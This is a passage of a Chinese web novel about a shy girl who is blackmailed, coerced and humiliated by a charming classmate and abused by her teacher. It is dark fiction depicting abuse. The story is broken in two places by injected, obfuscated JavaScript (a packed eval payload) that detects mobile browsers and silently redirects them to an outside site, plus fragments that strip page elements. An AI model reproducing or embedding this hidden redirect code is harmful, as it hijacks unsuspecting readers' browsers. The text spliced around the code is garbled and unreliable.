座位是按照前排正排名,后排倒排名的顺序喊的,第一名进去后,最末排名的于辉也被喊了进去。 “我先行一步。”于辉耍着滑头,拎着书包往里走。 第二、三名陆续进了班级,轮到第四名时,老师喊出了一个令她意想不到的名字。 沈悸。 班上有女生窃窃私语:“天,我好想跟他同桌。” “拉倒吧,你几分啊。” “可他真的好帅。还姓沈,指不定跟沈家有联系!” 茉莉偷偷看过去,阳光照在少年薄薄的耳垂上,看起来像是透明的。 她没想过他的成绩会跟人气一样好。 可另一个不妙的事来了——她和沈悸,是一组的。 走到座位,必须要经过沈悸的位置。 她佯装镇静地快步通过,却总感觉脊背发麻,似有什么无形的东西挤压她一般难受。 座位分配完毕,所有人都动了座位,只有她,改来改去还在原地打转,变了的是身边无人,她成了班上多出来的那个。 班上的职务也都基本确定下来,组长由每一组的第一名来担任,班长则是由为人圆滑的沈悸同时代理。 这决定让茉莉如坐针毡,她根本不敢单独找沈悸交作业。 不过比起这,更加令她为难的是下节课的体育测试。 她是个完完全全的体育残废,基本没及过格。她不靠体育吃饭,差点也没什么问题,奈何开学自我介绍失误,成了班上同学闲暇时刻的话柄,这次体测,她不能再出丑。 休息时间很快过去,茉莉站在队伍的后排,手拉着宋长乐的袖子不放。 宋长乐拍拍她的后背:“没事,尽力就行,也不指望你当运动员呢。” 努力就好。她暗暗对自己鼓劲。 来到操场,大家自主地站成了一排。 体育老师是个女老师,嗓门十分洪亮,一声“同学好”震得本昏昏欲睡的于辉都精神了,直冲她俩嘟囔:“哇塞,简直李逵再世。” 茉莉没心情捧哏,一直在原地拉伸。 体测开始,以性别左右分成了两列,一共测试五十米、八百米、跳绳、跳远四样。 前两样茉莉还能揽着宋长乐在大部队后面混一混,后两个为单人项,她就不能再浑水摸鱼了。 她拼命摇着绳子,白齿紧咬下唇,分明已经很努力了,得到的成绩却还是差强人意,位列倒数。 只剩下最后一个跳远。 茉莉扶着膝盖喘气,最后一项,平稳结束就好了。 她瞟了一眼不远处的男生队伍,于辉正和另一个看不清脸的男生同时计时跳绳。于辉虽然成绩不咋,但因为常年在村里爬上爬下,所以体育极佳,村里一直把他当作根正苗红的体育生培养,想把他送去城里训练。 他脚步如飞,快的令茉莉咂舌。 可很快,茉莉的注意力就不在他身上了。 更让她惊讶的是边上那个看不清脸的少年,他竟能跟上于辉的节奏,双脚更迭如虚影,不时还抬头看看于辉,一副轻松自信的模样。 似是感受到边上来的压力,于辉咬牙切齿,着急中突然失误,断在了倒数第五秒。 计时器发出滴滴滴的声响,那个少年才停下动作,跳绳一合递给了下个人。 人影交错之际,茉莉看清了他——沈悸。 她迅速撤回视线,应着老师呼唤来到跳远测试点。 女生测立定跳远,男生测冲刺跳,一个在跑道,一个在沙池,距离只是背靠背而已。 等着等着,茉莉站上了跳远点。 她有样学样地照着旁边同学的动作准备,双手一前一后地摇摆,眼睛紧盯前方。 跳完就好,跳完就好…… 随着老师响亮的三二一,茉莉紧闭双眼,猛地往前一跃,还好,这次跳的很稳,没有趔趄没有摔倒,跳出的距离也将将到及格线。 茉莉松了口气,还没等她起身,后头就传来一阵惊呼。 她侧眸看去,只见于辉躺倒在沙池之中,捂着脚踝不住痛叫,似乎是因为助跑太急扭到脚了。 她着急忙慌地跑到队伍外面,一边想要挤进人群,一边细声喊道:“让一下,请让一下。” 男生们都人高马大地堵在前方,她无可奈何,只能焦急地伸着脖子往里看。 前方的人流突然分成两拨,有人背着于辉从里跑出,快步跑向学校的医务室。 茉莉担心了半节课,下课铃一响,她便直奔医务室。 “于辉!”顾不上喘气,她急呼呼地跑到了于辉的身边,“你怎么样?” 于辉坐在板凳上,脚踝上裹着白色的纱布,关节处的擦伤也都被药水处理完毕。他浑不在意地龇牙笑,动了动裹纱布的脚:“害,多大点事,我还没那么脆弱呢。” “那就好。”悬着的心终于松了下来,但茉莉还是蹙着眉,不高兴地责备道,“你可是要当运动员的人,以后要多注意啊。” “嗯,会的,都怨我太着急了。”竟让个小女生担心,于辉不好意思地摸摸脑袋。 见到于辉老实认错,茉莉也不再板脸。正准备问是谁送他来医务室时,于辉突然看向了她的身后,“哦,沈悸!” 茉莉的身子僵了僵。 耳边是逐渐靠近的脚步和他们的对话声。 “脚踝怎么样了?” “没事了,今天多谢你送我来医务室。” “举手之劳,未来三年还得当同学呢。” “没想到体测居然输给你了,以前我可从来没跌过第一。” “呵呵,今天状态好而已。” 说着话,沈悸的眸光斜斜落在了茉莉的脸上。 他微微勾唇,声音细腻温柔:“你好,你是叫茉莉吗?” 少女低低垂着头,双膝紧紧并在一起,黏腻的触感再次在掌心出现,又濡湿了她白色的校服。 她不敢抬头,忘了这是在公共场合,只一昧的害怕。 于辉见到场面僵持,忙打着圆场道:“她性子内向,怕生,你别在意啊。” 视线依旧没有挪开。沈悸说:“没事,理解。”片刻,他像是想起什么,“对了,于辉,你住在哪,顺路的话我可以送你回家。” 头皮都开始发怵,如无数蝼蚁啃噬,密密麻麻爬满了发梢。 “这有些太麻烦了吧。” “不麻烦,毕竟我是班长,得对同学负责。”他的笑依旧甜的发腻,如同腐烂的水果,引诱蚊蝇。 “小泽村,我跟她都是。” “这么巧吗?我也是。” 戏演的天衣无缝,虚假的令人作呕。 “那就那么说定了,放学一起走吧。” 说完,他最后看了茉莉一眼,离开了医务室。 后来的下午,坐在窗边的茉莉再也嗅不见那金桂的香气,无论她如何暗示于辉,于辉都不以为然,一个劲地夸沈悸的好,最后他都纳闷了,说了一句“你之前不是经常往他的座位看吗,给你创造机会怎么还害羞上了。” 小动作被人看在眼里,茉莉住了口,顿感无力。 她如鲠在喉,不敢说出自己所看到的种种。 她知道,不远的地方,那个人一直在悄悄窥视自己。 迟暮时分,放学铃如约而至。 沈悸如他所说的一样来到了于辉的座位,搀扶着他回家。周围都是对沈悸赞许的目光,唯有茉莉迥乎不同。 茉莉跟在后面,看着前面的两个少年说说笑笑,心里五味杂陈。 于辉是个话痨,一路都在找着话柄,而沈悸则是抿嘴笑,回答都非常耐心。 茉莉盯着沈悸的背影发呆,他的个子略逊于辉,瘦削的身板背着一个大大的黑色书包,发尾泛着淡淡的褐色。 奇怪的是,九月的天还留有余热,他却整日穿着校服外套,即使是上体育课也没见他脱下。 很快到了村口,于辉一瘸一拐地推开了沈悸,脸上带着爽朗的笑:“就到这里吧,剩下我自己走。”他指指茉莉,“你把她送回去就行。” 茉莉张了张嘴,拒绝的话刚要脱口,就被沈悸一字“好”堵了回去。 “就这样,明天见。”于辉把包一拎,挥挥手走远。 她想喊住于辉,忽的,背上的书包变得沉重。 沈悸拉住了她的书包提手。 他没用多少力,顺手往后一拉,茉莉趔趄着撞进了他的胸膛。 “该回家了。”他的声音依旧如初,却压得极低, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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手机被没收,沈悸掀起眼帘,两指往上,强硬地让她摆出笑容。 “笑。”语气平平,却不容拒绝。 茉莉不愿,通红的眼里满是倔强。 啪嗒。 炙烫的火烛贴着脸侧燃起。 “那么漂亮的脸,烫伤就可惜了。”他语速悠悠,指腹摩挲着茉莉白皙的小脸。 压迫之下,茉莉只能颤着嘴角僵硬地上扬,眼睛红彤彤的。 她知道自己的笑很难看,面前的沈悸却是一副很满意的模样。他掏出手机,上身倾了过来,几乎是贴在茉莉的身上。 “三、二、一。” 两人的脸挤在小小的按键机屏幕上,因为手被扣着,像极了紧抱在一起的情侣。 可茉莉只看到了自己比哭还难看的笑脸。 被扣在墙上的手被放下,沈悸又咔擦咔擦拍了几张,嘴角漾起柔和的角度:“你还是笑着好看。” “要是被家人老师看到这幅光景,可就有意思了。”他晃晃手机,完全没有要还的意思,照片还清晰的亮着,“什么该说,什么不该说,懂了吗?” 茉莉死咬下唇,憋着将要涌出的泪水,屈辱地点了点头。 沈悸伸手——她害怕地闭上了眼。 一下、一下、又一下。他安抚般地抚摸着她的头。 “不要妄想甩掉我,我们来日方长。” 像极了,在逗弄一只没有反抗能力的幼猫。 “走吧,我送你回家。”他不由分说地再次拎着她的书包提手往外拉。 这一次,他没再恶劣的对待。 家门口,茉双季正打算出门寻找茉莉。 远远的他便看到一高一矮两个身影走来,再近些,他看到了茉莉。 “茉莉,怎么了,眼睛红红的。”茉双季一眼注意到了红着眼的茉莉,摸着她的脸问。 茉莉寻了个借口,擦擦眼:“没事,刚刚被风迷了眼。” “这位是?”茉双季问。 不等茉莉开口,沈悸往后退了两步,礼貌道:“叔叔好,我是茉莉的班长,我叫沈悸,今天于辉脚摔了,我正好住一处,所以把于辉送回去之后,顺便也给她送回来了。” 沈悸彬彬有礼,模样乖巧,茉双季脸上的喜悦之情藏也藏不住:“那可真是谢谢你了。班上有你这样负责的班长,可真是让人放心。” “不客气。那叔叔,我就先回去了。我家里人要着急了。” 沈悸说着话,一边把攥在手里的手机挥了挥,“茉莉,明早见。” 茉莉抠着衣服下摆,明白他明话下的意思。 不要告状。 不要乱说。 不要逃跑。 她不敢回看沈悸离开的身影,细细说了句“再见”,埋着头跟茉双季回了家。 - 沈悸按着原路返回,回到臭巷时,弯月已经挂在了天上。 那黄毛还在巷口跟人插科打诨,沈悸拍了拍他的肩,把打火机扔了过去:“还你。” 黄毛收了火机,眨了眨眼问:“你不是不抽烟吗,啥时候学抽上了。” 沈悸摆摆手:“拿来玩玩。”然后踏着黑走进了最里的胡同。 浑黑的巷子连月都照不明,只有手机屏幕还亮着微弱的光。 亮了几秒后,少女难看的笑脸重归于暗。 5. 血色 手机的事情还是被茉双季注意到,茉莉只能结巴着扯谎说丢了。 茉双季叹了口气,说:“这下可不敢随便把贵重物品交给你了。” 知道茉双季很生气,茉莉心里也格外不好受。 清早,茉莉背着沉重的书包走出了家。 天是晴朗的,朵朵白云飘在天上,阳光洒在她家门前铺满红黄色落叶的的羊肠小道上,鲜活恣意。 茉莉的心情却并没有因为这样的景色而纾解。 沈悸说,要她跟着一起上学。 茉莉站在分叉路上,一边是有沈悸的臭巷,一边是绕远的小路。 她左右看着,最后下定了决心,一口气往小路上跑。 没关系的、没关系的,学校里他不敢做什么,放学只要快点跑到小路就好。 她不能就此罢休,她一定要反抗。 茉莉气喘吁吁地来到学校,她来的很早,从正门看去,班级还空着大半。她下意识的寻找沈悸的身影,第四排第一个座位空空的,他不在。 她想从后门走,刚到后门,她就听见了女生嬉笑的声音:“真假的,你也给沈悸写情书了?” “一班都是书呆子呢,除了成绩好点,也没什么优点了。”有女生上扬而轻蔑的声音,“哪里比得上我呀。” “我听说还有高年级的呢。” “你知道什么叫近水楼台先得月吗?” 过道被占据,茉莉只能细声细语地打断她们的对话:“不好意思……请让一下。” 余光偷瞥了一下,是何婧,班上的语文课代表,父亲是村里的一个有点小钱的财主。模样算是漂亮,成绩也不错,但性格张扬跋扈,茉莉没敢跟她说过话。 本来何婧应该坐在前排的,但因为她的小姐妹们都在后排,又喜欢沈悸,索性假拟了个帮助后排差生的由头跟人强行把座换到了茉莉前面,这让纪律委员宋长乐气得够呛,两人就此结了仇。 何婧本来没听到,其中一个女生唯唯诺诺地说了一句:“何婧……有人要过去。” 谈话被迫终止,何婧上下打量了她一眼,不耐地挪了下板凳。 说是挪了,其实就是一个侧身才勉强能挤进的窄缝。茉莉寸步难行,十分困难地挤了过去。 “听说拐角那女的也被提名级花了。”有人嬉笑着,把茉莉放在了话题里,“对了,我那个住小泽村的朋友说,他昨天看到那女的跟沈悸一起放学呢,走的还很近。” 何婧好看的脸上闪过一丝嫌弃,偏头瞄了眼茉莉。 茉莉没有看见,忙着找作业。 上交完作业之后,茉莉打开书本开始了自习。 昨天的英语听写没过,今天要是再不过的话又得罚站。 时近上课时,沈悸才到了教室。见到沈悸来了,何婧立马回到了自己的座位上。 茉莉把书立起,避免跟他视线交汇。 来到座位,沈悸开始清点作业数量,并依次找没交的人要作业。 他的人气太旺,总有一些怀揣少女心思的女生故意迟交,就等跟他说上两句。 何婧就是其中之一。 沈悸越来越近,周围的女生躁动起来,何婧对着镜子撩了撩头发,手伸进了桌洞,准备把情书夹在作业下给出去。 “同学,作业忘记交了。” 何婧抬头,却看到沈悸面对着自己的后面。 书本上出现了一只骨节分明的手,茉莉顺着指尖往上看,沈悸微微眯着双眼,脸上挂着那标准的淡笑:“作业。” “我交了……”茉莉讷讷道。 “是吗?”沈悸皱着眉,重新翻找了下手里的作业,“哦,我记错了,是你前面的同学没交。” 何婧刚要出声,他却先一步开了口:“别动。” 何婧愣了愣,眼睁睁地看着一步之内的沈悸伸出了手。 那只手茉莉的头顶停留了片刻,最后捏着一朵不知何时从窗外挂在发上的桂花离开。 “好了。”他对向何婧,“作业。” 何婧把情书夹着作业交了上去。 沈悸刚走两步,像是想起什么,回到了茉莉桌前,忖思道:“你可别再走的那么快了,我总等不到你。” 说完,他一眼都没看何婧,大步离开了后排。 顺手,还将情书原封不动地放在了桌上。 “收好,别再弄混了。”他轻声落话,被茉莉清晰的听在耳里。 握着信的手逐渐用力。 很快,信封就变的扭曲。 茉莉回了神,不知为何,她感受到了一阵恶寒。 她没太在意,只是觉得奇怪沈悸为什么要跟她说这些。 可很快,她就会知道为什么。 第一天,她没发到作业本,问了人,都没有看到。她只能借着别人的作业看题目。 第二天,她的作业本出现在了桌洞。她打算把昨天写的答案摹写上去,却正巧被老师撞见,误以为她在抄作业将她拉到办公室骂了一顿。 第三天,她是值日生,负责把教室外的走廊清洁干净,再三确认没有脏污后,她走进了教室做眼保健操。铃声结束,她被通知走廊有纸团,检查的学生委员扣了他们班两分,彻底无缘流动红旗。 再次站在办公室里被劈头盖脸地骂,茉莉看着脚尖发懵。 声音是被糅杂成的;委屈是被堆积成的;无力是被践踏成的。因为走神,老师推了她一把,单薄的骨架几乎要散落一地。 来拿试卷的沈悸伸手接了她一把。她没出声,不动声色地抖了抖衣服,嫌恶清晰分明。 沈悸的表情微地僵硬。 不过,只有那么片刻。 第四天。 第一节语文课即将开始,课代表何婧走到了台上,要大家开始默写昨天要求背诵的课文。 诗很简单,茉莉默写完,快速把本子交了上去。 何婧瞟了一眼本子上娟秀的小字,保养得当的手慢慢地、一点点地,反复地摩挲着上面的名字。 老师踩着上课铃进了教室,他先让何婧领读今天要学的课文,自己则一个个地检查默写情况。 翻到茉莉的本子,他的眉拧了起来,“茉莉!” “到。”茉莉怯怯地站了起来。 他拿着本子快步走到茉莉跟前,重重地将本子摔在了她的身上。 茉莉下意识地缩起肩膀,眼睛看向了摊开的本子—— 一片空白。 连带她的大脑也成了一片空白。 她意识到什么,如坠冰窖。 而一旁,挟带着恶意的笑容慢慢舒展开,手在口袋一下又一下地捏着那片已成废纸的默写。 “别人就算不会也至少写个标题吧,你是什么意思?坐在最后一排了还不思进取?!这几天天天惹是生非,你终于是不装了想搞特殊吗,不想学就带着书包滚出去!” “不是的!我写了,我真的写了!”茉莉颤着嘴唇,徒劳无力地解释着,“绝对是被人撕掉了,老师,你相信我!” 全班能碰到默写本的只有身为语文课代表的何婧。上的何婧何婧无辜地瞪大了眼睛,涂满唇膏的嘴圆圆的:“你是在诬告我撕你默写吗,你怎么能这样?” 桌上的空白和迫害者的伪装无言地回绝了她的解释,听到茉莉还敢诬陷课代表,老师越发激动,揪着茉莉的耳朵就往前走,犀利的话语如同刀子一般一遍遍扎向茉莉脆弱的自尊。 “像你这样的孩子我见多了,自己不想学还想牵连别人,我告诉你,我是你班主任,随时都能把你劝退!”他把茉莉揪到黑板旁,拿起了桌上的戒尺,“手伸着!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183558|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>耳朵上的疼痛还没缓下来,手掌心又传来阵阵刺痛,逼得眼泪一颗颗地掉落。 “哭什么哭!憋回去!在这给我站一节课!” 眼泪不听使唤地溢满,她呜咽着咬唇,红肿的手心藏在校服下一遍遍的触碰布料,期望柔软能抚平自己的屈辱和疼痛。 宋长乐和于辉束手无策地看着,目露心疼。 他们毫无办法,因为明面上的确是茉莉做错了。 抬起头顶,她擦了擦眼泪,模糊的视线中,沈悸的脸渐而清晰。 他一手托着下巴,另一手无意识的敲击着桌面,嘴角上翘,露出一丝笑意。 他无声地比着唇形。 乖一点。 别再让我生气了。 我很心疼的。 他的话仿佛鬼影呢喃,渗出的恶意缭绕在周身,仿佛下一刻就会被彻底吞噬。 她整整站了一节课,直到早会的铃声欢快地响起,这四十分钟的折磨才短暂终止。 肚子突然翻江倒海起来,她捂着肚子抬头看了眼黑板上的日期,意识到发生了什么,她猛地摸向了腿间—— 没来得及去厕所,她便被人催促着整队去操场。 她只能把校服缠在腰上遮挡一下,随着队伍来到操场。 这一系,班级的形象分又被扣了一分,老师又厉声骂了出来。 她并紧双腿,怯懦地出声:“老师……我想去厕所。” “果然懒人上磨屎尿多,你还想去厕所?憋着!”得到绝情的回复,茉莉只能忍痛继续夹紧。 痛能忍,那逐渐增多的血液却无法阻拦。 很快,她感受到一阵湿润,低头,血液濡湿了裤子,一道血痕自上而下流淌,最后聚成血滴,在地上落下了不规则的形状。 她猛地蹲下,试图藏住那红色的印记。 太迟了。 后排的一个男生眼尖,指着她大声喊道:“老师,她流血了!” 霎时间,本被转移走的焦点又成了她。 可这次,连同别班人的视线都转移过来。 好奇的、揶揄的、嘲讽的。 如炬的视线刺穿她佝偻起的背,她紧抱着颤抖的自己,嘴里也是一股浓烈到恶心的铁锈味。 她已经分不清到底是哪里的血味,只觉得绝望。 血还在不停往下滴,如同她憋住没哭出的委屈。 她看着自己在地上一小团的影子,一瞬间,她几乎想一头撞死在围墙上。 而后,她的影子被另一个黑影笼罩了起来,视线成了一片白,她问到了一股好闻的阳光气息。 有人用外套把她罩住了。 她看不见是谁,眼泪挂了一半在脸上,被外套吸了个干净。 “别看了,正常生理周期而已,有什么好看的。来个女孩子来照顾一下,我一男生不方便,我去看看库房问问有没有新校服。” “我来。”宋长乐连忙站出队伍,“我跟她关系好。” 耳朵里响起了一个她绝对不想听见的声音。 她用力把外套扯了下来,瞪着猩红的眼几乎是推一般的把外套塞了回去。 还你,这不是你想看到的吗! 在装什么伪善!装什么好人! 她想疯狂地大喊大叫。 但她不能。 沈悸穿着长袖蹲在面前,手里的外套又盖了回去。 只是这次,他略带了一些力气,重重摁了她的头。 “乖一点——” 又是熟悉的话。 “别哭了,我看不得。” 却是不一样的结尾。 她无力拒绝,眼神呆滞地落在了假草地上。 而地上,不知何时出现了个被撇了头的烟嘴。 很快,烟嘴消失在了视线中。 6. 吻我 宋长乐领着茉莉来到了厕所,她看着被校服蒙住的茉莉,心疼地圈住了她。 “想哭就哭吧。”她抱着茉莉,柔声细语地安抚,“我在这。” 她没有撕开茉莉最后的防线,任由她隔着布料在肩膀上哭到发抖。 感觉到肩上人情绪渐缓,她掀开了被哭湿的校服外套。 她想知道到底发生了什么,可茉莉只是红着眼摇头,直到身上的拥抱越发的重,她的心理防线彻底崩溃。 “相信我好不好?告诉我,发生了什么,你说被人撕本子了,是谁?” 茉莉呜呜咽咽着,想把这几天所经历的委屈倾盘托出。 “……是沈……” “——茉莉。” 沈悸的声音乍然响起在门口,恍若一记惊雷炸在茉莉耳旁。 女厕前的石墙把那可直视的恐惧挡了个完全。 “校服,我拿来了。”他说,“放在门口吗?” “我来拿。”宋长乐应了一声,拿着沈悸的校服外套往外走。 温暖撤开的瞬间,茉莉睁大眼往前走了一步,伸出的手滞在了空中。 宋长乐中走出了视线。 “尺码可能有些不太合适,老师说没有小码的了。” “好,谢谢。你的校服。” “茉莉怎么样了?我听到她在哭。” 一墙之内,她呆站原地,双手死死地捂住嘴,全身血液凝滞。 表面无害的狐狸悄悄靠近,低下高傲的头颅主动用柔软光亮的皮毛蹭靠上来。 擅长伪装的,将尖牙藏于示好之下。 他说,他听到了。 “她情绪还有些不稳定。” “这样啊,但老师好像要我们快点归队组织班级。” “啊?”宋长乐皱了眉,有些担忧地往回看了眼,“很急吗?” “嗯,因为刚才的事情……”沈悸没多细说,但意思分明。 “没事的!”茉莉强撑着精神,努力让自己的声音听起来自然,“快去吧!” 虽然还是担心,可老师的命令不能耽搁,宋长乐叹了口气,答了句好便离开了。 沈悸不疾不徐地迈步,身后嗒嗒嗒的脚步声紧追而上。 袖子被人揪住,他眼帘低垂,懒懒开口:“同学,这样拉扯不好。” “照片……”少女踟蹰着,喉咙发干,不合身的校服穿在她的身上,显得身形更加弱小,“照片、可以删了吗……” “什么照片?”沈悸语气寡淡,明知故问。 “……还不够吗?”眼泪潸然而下,她抽抽搭搭着,似是哀求般得蜷了蜷手指。 她没等到回答。 而后,她的手被反抓擒拿,拉扯着拐入了一个逼仄的角落里。 砰——她像个物什一样被甩到了墙上。 沈悸一手摁上墙,慢条理斯道:“是不会求人吗?” “你很不听话。”他加重了力道,几乎要把茉莉的手腕拧碎,暗调的眸里充斥着危险,“看来你并不想遵守约定。” “我……我……”强烈的屈辱感如锯子撕裂开她的心脏,她死咬下唇,不让喉头那哽咽流出。 未愈合的疤再度作痛,血味充溢口腔。 此刻,她无助的像那飘零枯朽的落叶。 即使落在泥泞,也要被蚁虫一点点啃噬。 “求、求……”她含垢忍辱地将那个难堪的字眼说出,声音暗哑地几乎要碎在风中。 她的睫毛很长,通红的眼脸上泛着泪光。 看起来脆弱不堪,碰就会碎成一片。 可沈悸偏偏就爱看她这副模样。 像是达到了目的,沈悸的语调上扬:“好啊。” 茉莉的眼底闪过一丝光亮。 他偏头凑近,在即将鼻息相交时倏地停下,嘴角噙着恶劣又放肆的笑。 连带着尖锐的犬齿也显露出来,残忍又无辜。 “亲我。” “一吻一张,如何?” 光亮很快又黯淡下去,成了一片死寂的池子。 干燥的唇动了动,却是连拒绝的话都不敢说。 泪已经干涸了,流过的痕迹暴露在空气中,又刺又痒。 她踮起了脚,离绝望越来越近。 双唇即将落在对方的额间时,她顿住了。 黑发下,一道触目惊心的伤口如蜈蚣般爬沿在额上,伤口结着痂,周围还泛着不正常的白,扭曲又狰狞。 她想说些什么,却被沈悸一臂扯开。 恍惚中,她似乎看到了不该存在在沈悸眼中的一丝躲闪。 中间重新隔开距离,沈悸的声音又冷又硬:“笑。” 她不得已地挤出笑容。 公放的广播响起了早会结束的铃声。 沈悸烦躁地啧了一声,一脚踹翻了一旁无辜盛放的盆栽。 “如果你不想祸及他人,就乖乖遵守约定。”他丢下最后的告诫,走出角落,重新变回了那个完美无瑕的沈悸。 茉莉静静站在原地,一言不发地拂掉鞋上的泥土,然后把那同她一般破碎的盆栽搬回了原位。 - 自那天后,周围人对茉莉目光越发不友好。 有人避之不及;有人暗自窃笑;有人袖手旁观,而跟茉莉交好的宋长乐和于辉也受到了牵连,甚至老师都跟成绩优异的宋长乐说,叫她远离茉莉。 两人到了叛逆的年纪,自是听不进去的,哪怕被其他人一起嘲笑他们也不以为然的继续跟茉莉往来。 班外也传开了茉莉的事情,每当茉莉走在走廊时,总有人窃语。 “她就是那个姨妈流了一身的女生吗?” “简直羞死了……” “感觉她身上一股臭味呢。” “听说她成绩也很差,不会是交钱进的三班吧?” 她捂着耳朵跑了过去,围观者依旧不依不休。 “听见了听见了。” “切,正常哪会有人不记得自己姨妈的时间。” 她低着头跑,没注意前方的人就撞了过去。 她迅速道歉想跑,前边的人却揽住了她,朝着那群好事者说道:“叫什么呢,别逼我扇你们!” 何婧刚好路过,她不屑地翻了个白眼,卷着头发走进了班级:“还真是好纪律委员呢。茉莉,可别忘了今天还要默写哦。” 茉莉一动不动,手依旧捂着耳朵。 宋长乐懒得搭理她,握住了茉莉藏在校服下的手。 柔软的触感让她心安。 只是这安心片刻即逝,她看到了斜角,沈悸抱书经过的身影。 他被人拦了下来,伸出的手可以看出,是个女孩子。 女生忸怩地把手上的题册打开,借着问题的借口跟沈悸讲话。 夹角,沈悸微微抬了头。 她猛地往后一缩,彻底看不见了那人的身影。 “怎么了?”注意到她的异常,宋长乐急忙贴了过来。 “……没。” 她撇开宋长乐的手:“我要回去背书了。”说完,她逃一般地钻进了教室。 她不能牵连宋长乐。 她绝对不能让沈悸伤害她。 余光瞥及到一个在意的身影,沈悸眯了眯眼,转角,宋长乐从边上经过,神情低落。 他微不可察地变了神色,不过 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一个完美无瑕的优等生,要是跟一个满身污点的边缘生有过多交际,这对他的形象绝对有害。 所以即使是跟着何婧,她也绝对不要退步。 午休时间到,茉莉整理好课本准备去食堂吃饭。 “茉莉。”她抬起头,宋长乐朝自己走来,“走,一起去吃饭。” 她慌了一瞬,此时,前面的何婧悠悠转了身,不经意地伸手拍了拍她的头:“走,去打饭。” 没有一丝友善。 倒像是调玩着宠物,命令她的行动。 宋长乐已经站立在面前,局面进退两难。 何婧没什么耐心,抬了抬下巴:“走啊。” “没看到我在约她吗?”宋长乐睨了她一眼,语气不善。 “哟,我跟早就约好的人吃饭也要你插嘴了?”何婧冷笑了一声,抱臂斜瞥宋长乐,“也不想想为什么你的好姐妹不想跟你在一起,是脾气太臭了吧?” “你!”宋长乐抬手要打,却被冲过来的于辉制止。 “冷静点,你可是纪律委员。”于辉劝说道。 “关你屁事,你一点都没看出来她被欺负了吗!”宋长乐甩开于辉,怒瞪着他。 “我没有!”茉莉大叫出声,藏在桌下的手不住的发冷,“我没有被欺负,你想多了!” “你知道吗,我跟你走在一起,外面的人都说我是臭虫攀高枝,他们只会对着我骂,而不是优秀的你!” “你所谓的对我好,不过就是自以为是的自我满足!” 她努力地组织着恶毒的语言,然而她想尽了毕生学会的词汇,就只能说出这些。 话里没有一句脏字,却一字一句,清清楚楚地进了耳里,钻进了宋长乐的心里,诛杀掉了她跃动的心脏。 “茉莉!”于辉都听不下去了,愕然出声,“你这样说太过分了!” 茉莉不敢抬头。 说出的话如同荆棘缠绕在喉头,无论怎么吞咽都消不去那干涩的疼。 她害怕看到宋长乐僵硬难过的脸,也害怕自己会半途缴械。 可只有对自己残忍,断绝掉关系,才能保护他们不被沈悸盯上。 看到宋长乐吃了瘪,何婧兴致勃勃地起了身,和几个小姐妹一起走出了教室。 茉莉站起了身,用刘海遮挡住情绪:“让一下,你挡路了。” 面前的少女恍若未闻,直直站着,几乎不敢相信那冷漠来自茉莉。 茉莉绕过了她,抬脚朝外面走。 对不起,她不断在心中忏悔。 7. 奶茶(小修) 时间来到了九月底,学校开始准备举办运动会。 因为是和附近几所中学联合操办的运动会,据说资助人也会莅临参观,学校十分重视,除了升旗日,每天的早会全改成了体育操练,要求每个学生至少参加其一。 最后一节课结束,班主任抱着一堆报名表进了班。 报名表依次往后传递,茉莉扫了一眼,还好除了项目,还多出了啦啦队、合唱团和志愿者三个参与性团体,这让体育白痴的她缓了口气。 不需多斟酌,她选择了最不需要技术含量,时间又宽裕的志愿者团体。 运动会开在月考之后,时间可以说是无比紧张,她根本挤压不出空余分给运动会,一心想靠着月考改变如今的境遇。 考的好一些,老师会对她改观,也可以换掉现在的座位,远离何婧平日的欺凌。 只是,她看向了坐在远处的宋长乐。 一个明明可以开开心心度过的团体日,她却失去了共享喜乐的人。 宋长乐没再找过她,而于辉又碍于男女界限,上学时不能经常来找她,以防被人举报越界早恋导致被罚,放学茉莉要绕远路避开沈悸,就更见不到了。 几人之间的关系越发微妙,茉莉趋近一人,明面还得捧着何婧,这让班上人对她的印象从吊车尾变成了狗腿子。 她无所谓了,全盘照收而已。 报名表填写完毕,何婧举手,自告奋勇说来帮老师送表格。 老师一走,何婧用力踹了下同桌女生的椅子:“让开。” 茉莉看了一眼,是何婧小团体中最怯懦的女孩,名字好像叫关心。 她似乎也是被迫妥协的,有时也会偷偷给后排的茉莉塞点零食,茉莉对她的印象还好。 但也仅仅只是还好。 旁观者从来都不是局外人。 她怕何婧来找自己,正准备偷溜出去,一只水笔就重重的扎在她的手背上,阻止了她的想法。 她忍不住痛叫出声,何婧反瞪她一眼:“想死就叫大点声。” 她只能吞声忍泪,何婧看的烦,把表格扔到她面前:“搬。” 茉莉只能顺从,默默跟在她的身后搬起那叠高高表格。 何婧的小心思一点就破,搬表格只是为了正大光明地翻看沈悸报名了什么项目,至于搬运则是让茉莉承担,最后鸠占鹊巢。 何婧走在前面,翻覆着沈悸的报名表,看清沈悸报名的项目后,何婧把那张单薄的纸塞了回去。 她动作粗鲁,差点就把表格全都推翻,茉莉忙弯腰稳住,这才没有散一地狼藉。 “等下去篮球场。”何婧发号施令,长而密的黑睫像蝴蝶振翅,忽闪忽闪。 茉莉没说话,只是把表格给了她,然后在门口等着她出来。 关心不在,被欺凌的人顺理成章的成了她。 她在后背着着何婧和自己的书包,接着身上变成了四个——她两个小姐妹也把书包扔了过来,她在后摇摇晃晃,小小的身躯挂着不协调的大包,滑稽又可笑。 终于到了操场边上,她如释重负地把三个书包放在了边上,自己则背着包想要离开。 “等一下,谁让你走了?”踏出的步子被一句话堵了回来,她慢吞吞地转头,迎面便被什么东西砸中了眼睛。 她瑟缩了一下,好在,那东西是软的,不疼。低眸,一个红色的钱包搭在鞋面上,她弯腰捡起,不明所以地看了回去。 